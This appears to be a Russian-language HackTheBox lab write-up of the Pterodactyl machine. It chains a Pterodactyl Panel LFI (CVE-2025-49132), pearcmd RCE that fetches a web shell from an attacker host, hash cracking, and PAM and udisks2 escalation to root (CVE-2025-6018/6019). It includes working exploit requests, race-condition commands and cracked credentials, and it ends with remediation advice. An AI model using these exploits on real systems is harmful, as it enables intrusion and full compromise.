
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.
Дата: 8 апреля 2026 г.
Цель: Pterodactyl (HackTheBox)
Сложность: Средняя
ОС: Linux (openSUSE Leap 15.6)
Тестер: V0idW1re
Машина Pterodactyl на HackTheBox представила реалистичный сценарий атаки, включающий неправильно сконфигурированное веб-приложение и связанные уязвимости повышения привилегий. Начиная с неаутентифицированной позиции, тестер получил полный доступ root через логическую последовательность шагов эксплуатации. Цепочка атак включала неаутентифицированную уязвимость включения локального файла, творческое использование менеджера пакетов PHP для удаленного выполнения кода, извлечение и взлом учетных данных, а затем связывание двух публично раскрытых CVE для повышения привилегий от низкопривилегированного пользователя до root.
| Поле | Значение |
|---|---|
| IP цели | 10.129.25.223 |
| Имя хоста | pterodactyl.htb |
| ОС | openSUSE Leap 15.6 |
| Службы | SSH (22), HTTP (80) |
| Поддомены | panel.pterodactyl.htb |
Оценка проводилась в соответствии со стандартной методологией тестирования на проникновение:
Серьезность: Критичный
Компонент: Pterodactyl Panel v1.11.10 — конечная точка /locales/locale.json
Описание:
Конечная точка локали Pterodactyl Panel не очищала параметры запроса locale и namespace, что позволяло осуществлять обход каталогов. Поскольку приложение добавляло .php к значению namespace и загружало его через механизм include в PHP, атакующий мог заставить сервер загрузить и выполнить произвольные PHP-файлы в файловой системе.
Эксплойт:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Воздействие:
Из config/database.php были извлечены учетные данные базы данных:
pterodactylPteraPanelpanelКлюч приложения Laravel также был извлечен из config/app.php.
Доказательство:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Серьезность: Критичный
Компонент: Установка PHP PEAR + LFI
Описание:
Имея примитив LFI, тестер использовал сценарий pearcmd.php менеджера пакетов PEAR. Когда в конфигурации PHP включен register_argc_argv=On (подтверждено через phpinfo), строка запроса интерпретируется pearcmd как аргументы командной строки. Команда download использовалась для загрузки PHP-веб-шелла с сервера атакующего и сохранения его в общедоступную веб-директорию панели.
Эксплойт:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Воздействие:
PHP-веб-шелл был записан в /var/www/pterodactyl/public/shell.php, что обеспечило неаутентифицированное удаленное выполнение кода от пользователя wwwrun.
Доказательство:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Серьезность: Высокий
Компонент: База данных MySQL panel
Описание:
Используя RCE-шелл, тестер подключился к базе данных MySQL, используя учетные данные, полученные через LFI. Таблица users содержала хеши bcrypt для всех пользователей панели. Хеш пользователя phileasfogg3 был взломан офлайн с использованием общего словаря.
Эксплойт:
SELECT username, password FROM users;
Взломанные учетные данные:
phileasfogg3!QAZ2wsxВоздействие:
Был получен доступ по SSH как phileasfogg3, и захвачен пользовательский флаг:
user.txt: 916235b4261e70fdb090402c641a7808
Серьезность: Высокий
Компонент: Конфигурация PAM — pam_env.so с user_readenv=1
Описание:
Конфигурация PAM на openSUSE Leap 15.6 загружает файл ~/.pam_environment пользователя через pam_env.so с user_readenv=1. Устанавливая определенные переменные окружения в этом файле, непривилегированный пользователь SSH может обмануть systemd-logind и Polkit, заставив их считать сессию активной физической консольной сессией, тем самым получив привилегии allow_active.
Эксплойт:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
После повторного подключения по SSH сессия была распознана как Active=yes, что позволило непривилегированно вызывать методы D-Bus udisks2, которые обычно требуют физического присутствия на консоли.
Доказательство:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
Серьезность: Критичный
Компонент: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Описание:
Когда udisks2 изменяет размер файловой системы XFS через libblockdev, он временно монтирует образ файловой системы в общедоступную директорию в /tmp/blockdev.* без флагов монтирования nosuid и nodev. Это создает короткое окно состояния гонки, в течение которого любой SUID-бинарный файл, присутствующий в образе, может быть выполнен с повышенным эффективным UID.
Атакующий с привилегиями Polkit allow_active (полученными через CVE-2025-6018) может:
udisksctl loop-setupВажное замечание о совместимости образов XFS:
Образ XFS должен быть создан с определенными флагами для openSUSE Leap 15.6 (SP5/SP6):
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Эксплойт:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Доказательство:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Root-флаг:
root.txt: d3a242011c18cb81f08ad80337330641
| Флаг | Значение |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Неаутентифицированный]
↓ CVE-2025-49132 (LFI)
[Учетные данные БД]
↓ pearcmd RCE
[Оболочка wwwrun]
↓ дампинг MySQL + взлом хеша
[SSH phileasfogg3]
↓ CVE-2025-6018 (обход PAM → allow_active)
↓ CVE-2025-6019 (гонка изменения размера XFS udisks2)
[root]
Полная компрометация целевой системы. Атакующий с таким уровнем доступа может:
Этот отчет был подготовлен в образовательных целях в рамках лабораторного упражнения HackTheBox. Все тестирование проводилось в легальной изолированной лабораторной среде.
| Результат | Устранение |
|---|
| CVE-2025-49132 (LFI) | Обновите Pterodactyl Panel до версии v1.11.11 или выше, которая применяет строгую проверку только алфавитно-цифровых символов для параметров locale/namespace |
| pearcmd RCE | Установите register_argc_argv=Off в php.ini; удалите PEAR, если он не нужен |
| Слабый пароль | Внедрите строгую политику паролей; используйте менеджер паролей |
| CVE-2025-6018 (PAM) | Установите user_readenv=0 в конфигурации PAM для pam_env.so |
| CVE-2025-6019 (udisks2) | Обновите udisks2 и libblockdev до исправленных версий; измените правило Polkit для org.freedesktop.udisks2.modify-device, изменив allow_active с yes на auth_admin |